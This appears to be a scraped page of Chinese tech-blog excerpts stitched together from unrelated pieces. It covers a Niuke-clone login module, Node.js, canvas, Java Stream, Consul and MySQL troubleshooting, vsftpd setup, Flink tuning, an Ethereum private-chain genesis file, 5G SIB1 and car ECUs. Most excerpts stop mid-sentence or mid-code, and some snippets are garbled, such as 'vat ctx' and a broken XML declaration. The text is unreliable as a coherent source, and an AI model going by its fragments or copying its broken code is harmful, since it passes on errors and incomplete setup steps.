仿牛客网项目第二章:开发社区登录模块(详细步骤和思路)

目录 1. 发送邮件1.0 三步走1.1 邮箱设置1.2 Spring Email1.3 模板引擎1.4 发送邮件的过程1.5 检验发送邮件的过程 2. 开发注册功能2.0 注册功能的步骤分解(三次请求)2.1 访问注册页面2.2 提交注册数据2.3 激活注册账号2.4 激活账号的使用流程: 3. 会话管理4. 生成验证码5. 开发登录和退出功能5.0 登录与退出功能的步骤分解(三次请求)5.1 登录步骤5.1.1 登录凭证表的实体类(一表一实体)5.1.2 Dao层5.1.2 Service层(业务层)5.1.3 Controller层(表现层)5.1.4 模板页的修改5.1.5 效果展示 5.2 退出步骤5.2.1 Dao层5.2.2 Service层5.2.3 Controller层5.2.4 退出效果展示 6. 显示登录信息6. 1 拦截器示例:6. 2 拦截器应用:6. 2.1 拦截器的作用6. 2.2 拦截器的实现过程6. 2.3 拦截器实现登录状态检测6. 2.3.1 准备阶段6. 2.3.2 实现阶段 7. 账号设置7.0 设置的步骤7.1 访问账户设置页面7.2 上传头像7.3 获取头像 8. 检查登录状态8. 1 为什么需要检查登录状态8. 2 拦截器实现步骤 9. 自己练习:修改密码/忘记密码10.总结11. Git(输入为Git CMD)11.1 查询版本11.2. 查询配置,没有用户名和邮箱的话需要自己配置11.3. 创建本地的库,只要执行以下语句,在指定的文件夹下的cmd里打开11.

Node.js的学习

Node.js是什么 原生js是不能脱离浏览器运行的,而Node.js就能够让js脱离浏览器运行在服务器上。 简而言之,Node.js就是运行在服务端的JavaScript。 Node是V8引擎的容器,Node.js是基于Google的V8引擎的。 nodejs是用C++开发的一种运行于服务器端的语言,node的底层是C++,是可以直接运行在电脑上的。 Node.js的作用 编译js代码读、写电脑上的文件连接数据库充当Web服务器 回调函数 Node.js 异步编程的直接体现就是回调。异步编程依托于回调来实现,但不能说使用了回调后程序就异步化。 异步与回调的关系 关联 异步任务需要在得到结果时通知JS来读取结果。等待通知的过程就是异步,通知JS读取结果的过程就是回调。 区别 异步任务需要用到回调函数来通知结果; 回调函数却不一定存在于异步任务中,同步任务中也可以用到回调函数。 回调函数就是自己写了却不调用,给别人调用的函数。 EventEmitter Node.js 所有的异步 I/O 操作在完成时都会发送一个事件到事件队列。 Node.js 里面的许多对象都会分发事件:一个 net.Server 对象会在每次有新连接时触发一个事件,一个 fs.readStream 对象会在文件被打开的时候触发一个事件。 所有这些产生事件的对象都是 events.EventEmitter 的实例。 EventEmitter 类: events 模块只提供了一个对象: events.EventEmitter。EventEmitter的核心就是事件触发与事件监听器功能的封装。 EventEmitter 的每个事件由一个事件名和若干个参数组成,事件名是一个字符串,通常表达一定的语义。对于每个事件,EventEmitter 支持若干个事件监听器。 当事件触发时,注册到这个事件的事件监听器被依次调用,事件参数作为回调函数参数传递。 继承EventEmitter: 大多数时候我们不会直接使用 EventEmitter,而是在对象中继承它。包括 fs、net、 http 在内的,只要是支持事件响应的核心模块都是 EventEmitter 的子类。 Buffer(缓冲区) JavaScript 语言自身只有字符串数据类型,没有二进制数据类型。 Buffer 库为 Node.js 带来了一种存储原始数据的方法,可以让 Node.js 处理二进制数据。 创建Buffer类Buffer.alloc()_Buffer.from()写入缓冲区buf.write()从缓冲区读取数据buf.toString()将Buffer转换为JSON对象buf.toJSON()缓冲区合并Buffer.concat()缓冲区比较buf.compare()复制缓冲区buf.copy()剪裁缓冲区buf.slice()缓冲区长度buf.length Stream Stream 是一个抽象接口,Node 中有很多对象实现了这个接口。 四种流类型: Readable - 可读操作。Writable - 可写操作。Duplex - 可读可写操作。Transform - 操作被写入数据,然后读出结果。 常用的事件有:

微信小程序引用Map地图规划制定路径行走并显示路径

先上个效果图: //index.wxml <map id="map" latitude="{{latitude}}" longitude="{{longitude}}" scale="{{scale}}" markers="{{calloutMarkers}}" polyline="{{polyline}}" ></map> //index.wxss map{ width: 100%; height: 100vh; } //index.js const app = getApp() // 路径数据 const INIT_POLYLINE = { points: [{ latitude: 40.040129, longitude: 116.274968 }, { latitude: 40.038974, longitude: 116.275214 }, { latitude: 40.038974, longitude: 116.275214 }, { latitude: 40.038565000000006, longitude: 116.272683 }, { latitude: 40.03848200000001, longitude: 116.27209500000001 }, { latitude: 40.03836100000001, longitude: 116.27074 }, { latitude: 40.03832700000001, longitude: 116.

canvas基本使用(获取画布、绘制矩形、清除屏幕内容、动画、绘制不规则图形、圆形、虚线、绘制文字、颜色渐变、设置阴影、渲染图片、变形偏移、canvas文档)

目录 canvas使用 获取画布 var canvas = document.getElementById(canvasID) vat ctx = canvas.getContext('2d') 绘制矩形 ctx.fillStyle = 'red' ctx.fillRect(100,100,200,50) ctx.strokeStyle = 'blue' ctx.strokeRect(300,100,200,50) 清除屏幕内容(动画) ctx.clearRect(0,0,600,600) 像素化 绘制不规则图形 ctx.beginPath() ctx.moveTo(100,100) ctx.lineTo(200,200); ctx.closePath() ctx.strokeStyle = 'yellow' ctx.stroke() ctx.fillStyle = 'blue' ctx.fill() 绘制圆形 ctx.arc(x,y,radius,start,end,anticlockwise) 设置绘制属性(线条属性、虚线等) ctx.globalAlpha = 0.1 ctx.lineWidth = 1 ctx.lineCap = ’round‘ ctx.lineJoin = 'round' ctx.setLineDash([4,20,...,]) 绘制文字 ctx.font='30px 宋体' ctx.fillText(str,x,y) ctx.textAlign = 'center' 颜色渐变 let linear = ctx.createLinearGradient(100,100,200,200) linear.addColorStop(0,'red') 设置阴影 ctx.shadowOffsetX|Y = 1

Java学习-Stream流和异常

1 Stream流 1.1 Stream流概述 什么是Stream流? 在Java 8中,得益于Lambda所带来的函数式编程,引入了一一个全新的Stream流概念。 目的:用于简化集合和数组操作的API。 体验Stream流的作用 需求:按照下面的要求完成集合的创建和遍历 创建一个集合, 存储多个字符串元素 List<String> list = new ArrayList<>(); list.add("张麻子"); list.add("张三丰"); list.add("马邦德"); list.add("张三"); list.add("张德发"); 把集合中所有 以"张"开头的元素存储到一个新的集合把"张"开头的集合中 的长度为3的元素存储到-个新的集合遍历上一步得到的集合中 的元素输出。 package com.itzw.d1_stream; import java.util.ArrayList; import java.util.List; public class Test { public static void main(String[] args) { List<String> list = new ArrayList<>(); list.add("张麻子"); list.add("张三丰"); list.add("马邦德"); list.add("张德发"); list.add("张三"); System.out.println(list); //传统方法 List<String> zhangList = new ArrayList<>(); for (String s : list) { if (s.startsWith("张")){ zhangList.add(s); } } System.

数据结构与算法:复杂度

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、时间复杂度1.算法时间复杂度的概念2.大O的渐进表示法3.时间复杂度例题(1)(2)(3)(4)(5)(6) 二、空间复杂度1.空间复杂度的概念 总结 前言 提示:这里可以添加本文要记录的大概内容: 数据结构与算法是学计算机必须掌握的基础,今天简单介绍一下复杂度问题 提示:以下是本篇文章正文内容,下面案例可供参考 一、时间复杂度 1.算法时间复杂度的概念 算法的时间复杂度是一个定量描述算法运行速度的快慢,由于不同的计算机CPU有所不同,所以时间复杂度是无法准确给出唯一的,但是算法的运行时间一定是和算法的语句执行数量成正比,所以给出定义,算法的基础语句操作次数就是我们的算法时间复杂度 void Func1(int N) { int count = 0; for (int i = 0; i < N; ++i) { for (int j = 0; j < N; ++j) { ++count; } } for (int k = 0; k < 2 * N; ++k) { ++count; } int M = 10; while (M--) { ++count; } printf("%d\n", count); } Func1执行的基本操作次数为N^2+2*N+10。

windows浏览器无法访问虚拟机上Linux部署的consul

一、问题: 查看consul服务 是启动的,但是就是无法访问。 二、解决步骤: 1、查看防火墙是否关闭或者添加接口映射 关闭防火墙(具体看应用场景,请不要盲目的操作) systemctl stop firewalld 查看防火墙状态 systemctl status firewalld 2、重启consul 追加 -client 0.0.0.0参数 优雅的停止consul(优雅的停止consul,而不是直接kill掉进程) consul leave 重新运行consul服务(追加 -client 0.0.0.0,具体启动参数请按照需求,不要盲目启动) consul agent -dev -client 0.0.0.0 -ui 启动成功 尝试访问 访问成功! 转载于:windows无法访问Linux部署的consul_奔跑的架构师的博客-CSDN博客_windows无法启动consul服务 此贴为我个人学习参考借鉴记录使用,再此感谢原帖主人

navicat连不上mysql client does not support authentication protocol requested by server; consider upgrad

当通过windows主机navicat连接虚拟的mysql时报如下错误。Client does not support authentication protocol requested by server; consider upgrading MySQL client 通过查看网上别人遇到的相关问题,发现是由于navicat版本的问题,出现连接失败的原因:mysql8 之前的版本中加密规则是mysql_native_password,而在mysql8之后,加密规则是caching_sha2_password。 两种解决方法 1.升级navicat,由于navicat是收费的,个人感觉升级会比较麻烦点。 2.把用户密码登录的加密规则还原成mysql_native_password这种加密方式,本人选择第二种解决方案 问题解决 按照步骤 1.mysql -u root -p 输入密码进入mysql数据库 2.输入下面命令,更改加密方式 mysql> ALTER USER 'root'@'localhost' IDENTIFIED BY 'password' PASSWORD EXPIRE NEVER; 3.更新一下用户的密码这里的password为你修改的新密码。 mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '自己的mysql密码'; 4.刷新权限,使自己的修改生效。 FLUSH PRIVILEGES; 5.退出mysql: mysql>quit 可以用navicat正常连接数据库了 视图参考 转载于:navicat 连接不上虚拟机上的mysql容器 client does not support authentication protocol requested by server; consid_yubin1285570923的博客-CSDN博客 此贴为我个人学习参考借鉴记录使用,再此感谢原帖主人

Navicat导入连接提示not a valid XML 解决方法

点击导出连接可以导出数据连接配置 导出之后是一个.ncx文件,但这并不是二进制文件,而是一个xml文档 但这个文档直接导入,会提示not a valid XML 此时需要修改该文档中的内容将该文档中的第一行内容 < version="1.0" encoding="UTF-8"/> 改成 <?xml version="1.0" encoding="utf-8"?> 改完后,保存,导入就成功了 

银河麒麟高级服务器v10 sp1 手动加载Raid卡驱动

场景:当服务器在做完raid后,在安装系统选择磁盘界面找不到硬盘,一些较老阵列卡的驱动可能没有集成,这个时候需要手动加载阵列卡驱动 解决方法: 1、确定Raid卡的型号 通过检查服务器型号及阵列卡的PN号或者型号获取 2、获取阵列卡驱动 2.1 去对应服务器品牌官网获取对应驱动(下面以dell PowerEdge R740机器为例,阵列卡型号为H750) https://www.dell.com/support/home/zh-cn/product-support/product/poweredge-r740/drivers 解压之后获取dd.iso文件 2.2 银河麒麟高级服务器v10 sp1客户到u盘1当中,将dd.iso刻录到u盘2当中 注:如果软碟通刻录无法正常启动安装的话建议更换刻录工具rufus 3、安装系统 3.1 调整启动菜单,从刻录系统的u盘开始启动,开机选择界面中,按“TAB”键出现安装引导进入编辑,编辑好之后回车 在quiet后添加linux dd 3.2 出现以下提示:to select, ‘r’-refresh, or ‘c’-continue: (这里需要选的是启动U盘的序号,通常是1,回车,注:当前是以虚拟机实验是sr1 ,以实际环境为准) 3.4 选择的驱动文件前面会显示[x]表示被选中,提示to toggle selection, or ‘c’-continue: (输入c,回车) 3.5 驱动安装完成后,出现以下提示: to select, ‘r’-refresh, or ‘c’-continue: (输入c,回车) 3.6进入安装程序后,在硬盘里就可以看到硬盘了,接下来就是正常安装系统的步骤了。

众多mock工具,这一次我选对了

文章目录 写在前面Mock介绍Mock能解决什么问题?传统Mock解决方案Postman接口测试工具Mock js第三方库 Eolink解决方案全局Mock高级Mock返回结果Mock智能内置Mock智能自定义Mock约束条件MockEolink的Mock解决方案的优势: 写在最后 写在前面 交战之前,战士必先利其兵器,作为开发人员的我们更是如此,在日常的开发中如果拥有一款得心应手的工具软件,一定能够大大提高我们的工作效率。 在开发过程中,由于后端与前端并行开发,但是作为前端开发工程师的我们,难道在搭建完页面后只能等待后端的接口么?这样的话我们则完全被后端开发限制住了。在前面跟大家介绍过 Mock.js 不知道大家有么有看到哈,如果没有看到的同学,或者不知道mock是什么的小伙伴可以先去看看,其实mock的出现就是前后端分离后为前端不受制于后端同学的束缚而出现的,在实际开发中后端同学有自己的开发节奏,不能如我们前端所想几分钟出一个接口,可能我们索要接口的时候后端同学还在构思如何建表?使用开发好的 API 对接,也有可能一个 API 不通就阻塞了整个软件的对接工作。同时对软件的敏感度也很高,一不小心就可能导致整个软件不能正常工作。并且界面之间存在着严重的相互依赖关系,产生的业务逻辑非常复杂,这些都会对软件的开发效率产生很大的影响。 所以学习如何利用最好的 Mock数据是很关键的。这样做会降低前端开发者的工作量,降低开发费用,提高开发效率。下面我们就来看一下常见的Mock方法,我们可以根据具体的场景和条件来进行选择和配置。最关键的是要知道如何去做,并从中挑选出最适合自己的方式。 Mock介绍 或许还有一些没见过 Mock的读者,不知道 Mock是什么。今天就来跟你说说这玩意的厉害,这玩意非同凡响! 简单地说, Mock是指在测试期间,为一些难以构建或不易获得的对象,创建一个虚拟物体进行测试。而这个虚拟物体就是模拟物体,模拟对象是在调试过程中实际对象的替代。 有时候, Mock服务被称为一个测试服务替代品,或一个测试服务,下面的图片非常生动地说明了它的功能。 Mock能解决什么问题? Mock功能的优势: 前端对接不依赖后端: 让前端工程师独立于后端进行开发。 增加测试的真实性: 通过随机数据,模拟各种场景。 开发无侵入:不需要修改既有代码,就可以拦截Ajax请求,返回模拟的响应数据。 数据类型丰富:支持生成随机的文本、数字、布尔值、日期、邮箱、链接、图片、颜色等。 方便扩展: 支持扩展更多数据类型,支持自定义函数和正则。 Mock功能适用场景在实际工作中非常多,真正在实际项目中,引入Mock工具通常来解决如下几类问题。主要有: • 开发进行单元测试 因为单元测试只对目前的单元进行,所以必须保证所有的内外依赖关系都是稳定的,使用 mock的方式来模拟基础单元依赖的其它单元,这样就可以把测试的重心放在当前单元的功能上,从而消除外部因素的影响,提高测试的准确性。 • 调用第三方接口 在做接口自动化的时候,有时候需要调用第三方的接口,但是别人公司的接口服务稳定性不受你的控制,有可能别人提供的测试环境今天服务给你开着,别人就关掉了,给自动化接口测试带来很多的麻烦,此时就可以通过mock来模拟接口的返回数据,比如模拟各种第三方异常时的返回。 • 解决接口间的相互依赖 例如,您正在开发前端网页,现在您需要开发付款功能:下一次订购、付款页面界面、付款结果、付款成功、显示付款成功页、付款失败页。为了实现这个特性,您必须调用后台界面,并显示出相应的页面。现在的后端界面还没有完全开发出来,如果是前端开发,那就只能加班了。要实现开发工作的同步,在这个时候,您可以按照接口文件的要求,将接口的地址和参数发送给用户,再通过 mock接口的不同的返回接口,来完成开发工作。 传统Mock解决方案 传统Mock解决方案常见的有两种,一种是使用Postman接口测试工具进行Mock数据,另外一种是使用Mock js第三方库进行Mock数据。 Postman接口测试工具 Postman中需要点击Create Mock Server配置mock服务。选择之后,应用程序会进行一步一步的提示。 配置需要mock的接口地址,手动输入响应数据返回值即可。 Mock js第三方库 Mock.js 是一款模拟数据生成器,旨在帮助前端攻城师独立于后端进行开发,帮助编写单元测试。提供了以下模拟功能: 根据数据模板生成模拟数据 模拟 Ajax 请求,生成并返回模拟数据 基于 HTML 模板生成模拟数据 在Mac上打开命令行终端,输入安装命令: npm install mockjs,稍等几分钟安装完成。

springboot使用过滤器对请求参数进行处理

前段时间对项目进行改造,需要实现对请求参数进行解密,再传输到控制层。参考了网上的一些文章,基本都是通过过滤器和实现RequestBodyAdvice接口进行处理。结合自己的项目要求,实现RequestBodyAdvice接口只能对参数在请求体中(@RequestBody)才生效,而项目中需要对get和post请求都进行处理,所以最后决定使用过滤器来实现。这里记录下代码实现,方便以后遇到相似的功能就不需要再去网上搜了。 首先需要继承HttpServletRequestWrapper类来自定义一个Request类,因为post请求需要使用request.getInputStream()来读取请求体中的参数,而流中的数据读取一次后就不能再读取了,这样传输到控制层就没有参数了,所以需要自定义一个request进行包装,将读取的参数处理后重新放回request中。 public class MyHttpRequest extends HttpServletRequestWrapper { /** * 保存流数据 */ private final byte[] body; /** * 保存参数 */ private Map<String, String[]> params = new HashMap<>(); public MyHttpRequest(HttpServletRequest request) { super(request); body = getBodyString(request).getBytes(StandardCharsets.UTF_8); this.params.putAll(request.getParameterMap()); } public MyHttpRequest(HttpServletRequest request, byte[] body) { super(request); this.body = body; this.params.putAll(request.getParameterMap()); } @Override public ServletInputStream getInputStream() { final ByteArrayInputStream bais = new ByteArrayInputStream(body); return new ServletInputStream() { @Override public boolean isFinished() { return false; } @Override public boolean isReady() { return false; } @Override public void setReadListener(ReadListener readListener) { } @Override public int read() { return bais.

Spring Boot框架

目录 一、Spring Boot 1、Spring Boot优点 2、创建Spring Boot 3、Spring Boot配置文件 (1)配置文件的作用 (2)properties文件格式 (3)yml文件的格式 (4)properties vs yml 二、Spring Boot日志框架 1、java常见的日志框架 2、日志级别 3、日志打印 一、Spring Boot Spring Boot也是Spring官方提供的一个顶级项目。便捷的开发Spring框的的项目(提高效率)。基于“约定大于配置”的设计原则。Spring Boot提供了绝大多数的约定(如果没有配置,就基于默认的约定来设置相关项目需要的属性)。 1、Spring Boot优点 快速集成框架:提供了启动添加依赖的功能,用于秒级集成各种框架(自动化配置)。如:添加Spring Boot支持的其它框架(如Spring-boot-driud-starter数据库连接池的框架,可以自动的帮助我们注册其中的Bean对象,完成数据库连接的配置)内置运行容器,无需配置Tomcat等Web容器,直接运行和部署。完全抛弃繁琐的XML,使用注解和配置的方式进行开发。(使用传统的Spring进行项目开发,会使用大量的xml文件,及文件内容)支持更多的监控指标,可以更好地了解项目的运行情况。(这是官方提供的一个专门监控Spring Boot项目的依赖包)。 2、创建Spring Boot 这里描述基于普通的maven项目进行搭建。 (1)创建一个普通的maven项目 (2)修改pom.xml文件,引入依赖 (3)准备SpringBoot的启动配置文件 (4)开发SpringBoot启动类 【代码如下】 package org.exmaple; //必须在某个包下 import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; //SpringBoot的启动类注解 @SpringBootApplication public class Application { public static void main(String[] args) { //基于SpringBoot的方式启动 SpringApplication.run(Application.class,args); } } 配置成功如下: 可以提供web静态资源,在resources目录下的public或者static文件夹中,访问时路径为资源路径,不需要添加public等文件夹路径。 url格式:http://ip:port/应用上下文路径/服务资源路径?queryString 应用上下文路径:Springboot中默认为“/”;服务资源路径:public和static下的文件,但不包含本身。 3、Spring Boot配置文件 (1)配置文件的作用 整个项目中所有重要的数据都是在配置文件中配置:

jar包解压后再打包为jar

方式一 : 使用压缩工具 这里使用的winRar (或360压缩)工具 如图,这是一个可运行的jar包 解压jar 1.1 先将jar包的后缀名改为.zip,得到压缩包如图 1.2 解压压缩包 解压后得到文件夹: 这个时候可以根据需要替换或者修改其中的文件,之后再将它打包为jar 重新打包为jar 2.1 在文件夹内部 全部选中文件然后打包,注意是文件夹内部,不然打出来的包可能会多出来一层 2.2 打包配置 注意:如果原来的jar包中依赖的有其他的jar,如图 需要将这些依赖的jar包排除在压缩文件队列中,不然会造成二次压缩: 2.3 压缩后得到一个zip格式的压缩包 直接改后缀为.jar 运行 错误示例: 依赖的jar被重复压缩会出现

FTP服务搭建(linux)

一、下载(在线安装可跳过) 1、下载(见网盘) 下载服务端 vsftpd:下载地址 下载客户端 ftp 注:如果需要使用ftp命令,则客户端必须安装,否则无法使用(-bash: ftp: command not found) 二、安装 1、检查是否已经安装了vsftp 首先查看系统中是否成功安装了vsftpd,执行下面命令(有内容则安装了ftp) rpm -qa | grep vsftpd 2、开始安装 在线安装 yum install vsftpd -y 若linux处于离线状态则无法使用yum命令安装 离线下载vsftp: http://rpmfind.net/linux/rpm2html/search.php?query=vsftpd(x86-64) 上传安装包到服务器,放在安装目录,比如/home/ 下 离线安装 rpm -ivh vsftpd-3.0.2-22.el7.x86_64.rpm 安装过程可能会报错,缺少依赖: 解决:安装相关依赖(centos7 的最新依赖包在博客资源里,可自行去下载) rpm -ivh libcap-2.16-5.5.el6.x86_64.rpm rpm -ivh libcap-devel-2.16-5.5.el6.x86_64.rpm 检查是否安装成功 rpm -qa | grep vsftpd 服务启动 systemctl start vsftpd.service 三、配置 1、进入cd /etc/vsftpd目录 cd /etc/vsftpd 2、编辑vsftpd.conf文件 养成备份的好习惯 cp /etc/vsftpd/vsftpd.conf /etc/vsftpd/vsftpd.backup.conf vim vsftpd.conf 修改如下: #禁止匿名登录FTP服务器 anonymous_enable=NO #允许本地用户登录FTP服务器 local_enable=YES #本地用户上传文件的umask local_umask=022 #设置本地用户登录后所在目录 local_root=/home/vsftpd/ftpuser #全部用户是否被限制在主目录 #如果设置成YES会导致你用java代码创建文件夹时失败,因为他被限制在了宿主目录 #chroot_local_user=YES #开启被动模式 pasv_enable=YES pasv_addr_resolve=YES #FTP服务器公网IP(也就是当前阿里云服务器的公网 IP) pasv_address=120.

一篇大数据调优

一、flink flink官网 1、Flink 是如何支持批流一体的? Flink 通过一个底层引擎同时支持流处理和批处理. 1.检查点机制和状态机制:用于实现容错、有状态的处理; 2.水印机制:用于实现事件时钟; 3.窗口和触发器:用于限制计算范围,并定义呈现结果的时间 同一个流处理引擎之上,Flink 还存在另一套机制,用于实现高效的批处理。 1.用于调度和恢复的回溯法:由 Microsoft Dryad 引入,现在几乎用于所有批处理器; 2.用于散列和排序的特殊内存数据结构:可以在需要时,将一部分数据从内存溢出到硬盘上; 3.优化器:尽可能地缩短生成结果的时间。 2、Flink 是如何做容错的? Flink 实现容错主要靠强大的 CheckPoint 机制和 State 机制。 3、Flink 分布式快照的原理是什么? 1.barrier 机制 4、Flink 是如何保证 Exactly-once 语义的? 1.barrier 机制 通过 Flink 的 TwoPhaseCommitSinkFunction 两阶段提交协议能支持端到端(KafkaSource, KafkaSink)的 Exactly-Once 语义。 5、Flink 中的 Window 出现了数据倾斜,你有什么解决办法? 1、进入窗口进行预聚合 2、重新设计窗口聚合的key 6、Flink 中在使用聚合函数 GroupBy、Distinct、KeyBy 等函数时出现数据热点该如何解决? (1)在业务上规避这类问题 2、热key拆分 3、(3)参数设置 Flink 1.9.0 SQL(Blink Planner) 性能优化中一项重要的改进就是升级了微批模型,即 MiniBatch。原理是缓存一定的数据后再触发处理,以减少对 State 的访问,从而提升吞吐和 减少数据的输出量。 7、Flink 任务延迟高,想解决这个问题,你会如何入手? 1、后台看哪个task出现了反压 2、手段是资源调优和算子调优。 资源调优即是对作业中的 Operator 的并发数(parallelism)、CPU(core)、堆内存 (heap_memory)等参数进行调优。 作业参数调优包括:并行度的设置,State 的设置,checkpoint 的设置。

【区块链实战】如何搭建以太网智能合约私网

目录 一、简介 二、知识点 智能合约 以太坊私网 创世区块 部署以太坊私网 启动以太坊节点 三、菜鸟实战 1、配置创世区块 2、数据初始化 3、启动节点 一、简介 私网是由开发者自行组建的网络,不与主网和测试网相通,独立存在,主要用于个人测试或企业项目使用。 二、知识点 智能合约 以太坊私网 创世区块 部署以太坊私网 启动以太坊节点 三、菜鸟实战 实战场景:搭建以太坊智能合约私网。 1、配置创世区块 { "config": { "chainId": 15, "homesteadBlock": 0, "eip150Block": 0, "eip155Block": 0, "eip158Block": 0 }, "alloc" : {}, "coinbase" : "0x0000000000000000000000000000000000000000", "difficulty" : "0x2", "extraData" : "", "gasLimit" : "0xffffffff", "nonce" : "0x0000000000000042", "mixhash" : "0x0000000000000000000000000000000000000000000000000000000000000000", "parentHash" : "0x0000000000000000000000000000000000000000000000000000000000000000", "timestamp" : "0x00" } 参数说明如下: 参数说明 config 项是定义链配置,会影响共识协议,虽然链配置对创世影响不大,但新区块的出块规则均依赖链配置 config.

服务PLMN、NCGI与SIB1

SIB1(38.331) SIB1 contains information relevant when evaluating if a UE is allowed to access a cell and defines the scheduling of other system information. It also contains radio resource configuration information that is common for all UEs and barring information applied to the unified access control. 关键信源: CellAccessRelatedInfo 获取服务PLMN和NCGI:根据MSG5和SIB1::CellAccessRelatedInfo 5G NR SIB1 介绍 消息概述: SIB1携带UE接入小区所需的最关键的信息,例如随机接入参数。SIB1包括关于其他SIB的可用性和调度的信息。SIB1还指示是否仅按需提供一个或多个SIB,在这种情况下,它还可以提供UE所需的PRACH配置,以请求所需的SI 。 SIB1包含在评估UE是否被允许访问小区时定义的信息,并定义其他系统信息的调度。SIB1还包含所有UE共有的无线电资源配置信息和应用于统一接入控制的小区禁止信息。 SIB1是小区特定的SIB,为了使UE解码SIB1,UE从MIB获得所有需要的信息。 5G SIB1在DL-SCH(逻辑信道:BCCH)上以160ms的周期和160ms内的可变传输重复周期来发送SIB1。而4G SIB1发送周期为80ms。5G(NR)中SIB消息有两种,一种是周期性广播,另一种是根据UE请求( on-Demand)发送; 消息参数: -- ASN1START -- TAG-SIB1-START SIB1 ::= SEQUENCE { cellSelectionInfo SEQUENCE { q-RxLevMin Q-RxLevMin, q-RxLevMinOffset INTEGER (1.

汽车ECU完整介绍

一、ECU简介 ECU原指的是Engine Control Unit,即发动机控制单元,特指电喷发动机的电子控制系统。后来随着汽车电子的迅速发展,ECU的定义变成了Electronic Control Unit,即电子控制单元,泛指汽车上所有电子控制系统。而原来的发动机ECU有很多的公司称之为EMS: Engine Management System。 二、ECU的基本组成 ECU和普通的单片机一样,由微控制器(MCU)、存储器(ROM、RAM)、输入/输出接口(I/O)、模数转换器(A/D)以及整形、驱动等大规模集成电路组成。 微控制器(MCU)是汽车电子控制单元ECU的核心,以CPU为核心,是集成在一块芯片上的微型计算机。ECU是包括微控制器和相关外围接器件的电路板的总称,是微控制器在汽车的应用系统。 三、ECU的作用 1.参数控制。ECU的作用是通过各种传感器来计算车辆的行驶状况,从而对发动机的点火、空燃比、怠速、废气再循环等多项参数进行控制。 2.故障自诊断和保护功能。当系统产生故障时,它还能在存储器中自动记录故障代码并采用保护措施从上述的固有程序中读取替代程序来维持发动机的运转。 四、ECU的工作原理 ECU由传感器输入电路、微处理器、和输出执行电路等三个部分组成。 各种传感器把信号传给输入电路,输入电路完成信号过滤处理,并把各种信号统一转换为数字信号,然后传给微机。微机将处理过的信号进行运算,结果送至输出电路。输出电路将微机传输过来的数字信息放大,根据需要把某些信号转换为为模拟信号,驱动被控的调节伺服元件工作。如下图所示: 五、常见ECU的类型 ECU的控制范围已经扩张到巡航控制、灯光控制 、安全气囊控制 ,悬架控制 、燃油加热控制、排气控制、制动控制、EGR和增压压力控制等。当然 ,随着车上电子元件的日益增多,线路也越来越复杂 。为了简化电路和降低成本,现在汽车上多个ECU之间的数据交换是CAN总线连接起来的,通过它将整车的ECU形成一个网络系统 。 现如今ECU已经成为汽车上最为常见的部件之一,依据功能的不同可以分为不同的类型。最常见的有如下几种ECU: EMS(Engine Mangement System)发动机管理系统,应用在包括汽油机PFI(如上图)、GDI,柴油机,混合动力系统等,主要控制发动机的喷油、点火、扭矩分配等功能。 TCU(Transmision Control Unit)自动变速箱控制单元,常用于AMT、AT、DCT、CVT等自动变速器中,根据车辆的驾驶状态采用不同的档位策略。 BCM(Body Control Module)车身控制模块,主要控制车身电器,比如整车灯具、雨刮、洗涤、门锁、电动窗、天窗、电动后视镜、遥控等。 ESP(Electronic Stability Program)车身电子稳定控制系统,车身电子稳定控制系统。ESP可以使车辆在各种状况下保持最佳的稳定性,在转向过度或转向不足的情形下效果更加明显。ESP是博世公司的专门叫法,譬如日产的车辆行驶动力学调整系统VDC(Vehicle Dynamic Control ),丰田的车辆稳定控制系统VSC(Vehicle Stability Control ),本田的车辆稳定性控制系统VSA(Vehicle Stability Assist Control),宝马的动态稳定控制系统DSC(Dynamic Stability Control )等。现如今很多中高端合资车、国产车都会配备这个模块。 BMS(Battery Management System)电池管理系统,顾名思义这个控制器是专门针对配备有动力电池的电动车或者混合动力车准备的。主要功能就是为了能够提高电池的利用率,防止电池出现过度充电和过度放电,延长电池的使用寿命,监控电池的状态。 VCU(Vehicle Control Unit)整车控制器,用于混合动力/纯电动汽车动力系统的总成控制器,负责协调发动机、驱动电机、变速箱、动力电池等各部件的工作,提高新能源汽车的经济性、动力性、安全性并降低排放污染。 下面让来看一下国内外知名的ECU供应商: (1)BOSCH 博世(德) 博世集团是全球第一大汽车技术供应商,其中汽车与智能交通业务范围涵盖了汽油系统、柴油系统、汽车底盘控制系统、汽车电子驱动、起动机与发电机等。汽车配套业务的去年总销售额:448.25亿美元。 (2)Continental大陆(德) 2007年欧盟委员会批准德国大陆集团收购西门子VDO,自此西门子VDO的ECU业务归属大陆旗下,这也使大陆集团一举跻身全球五大汽车零部件供应商的行列。大陆集团业务涵盖制动系统、动力总成及底盘的系统和零部件、仪表、信息娱乐系统、汽车电子、轮胎及工业橡胶制品等。去年总销售额:314.80亿美元。 (3)DENSO电装(日) 株式会社电装(DENSO)是世界屈指可数的汽车零部件及系统的顶级供应商,提供多样化的产品及其售后服务,包括汽车空调设备和供热系统、电子自动化和电子控制产品、燃油管理系统、散热器、火花塞、组合仪表、过滤器、产业机器人、电信产品以及信息处理设备。去年总销售额:360.30亿美元。 (4)UAES联合汽车电子(中) 联合汽车电子有限公司(简称UAES)成立于1995年,是中联汽车电子有限公司和德国罗伯特•博世(BOSCH)有限公司在中国的合资企业。公司主要从事汽油发动机管理系统、变速箱控制系统、车身电子、混合动力和电力驱动控制系统的开发、生产和销售。去年总销售额:160亿人民币。 (5)DIAS联创汽车电子(中) 联创汽车电子有限公司成立于2006年,是上汽集团领导下的核心汽车电子零部件企业。主要为客户提供柴油发动机管理、电动助力转向控制、新能源汽车电子控制、胎压监测的系统解决方案及零部件产品。去年总销售额:2.7亿人民币。

influxDB 基础了解

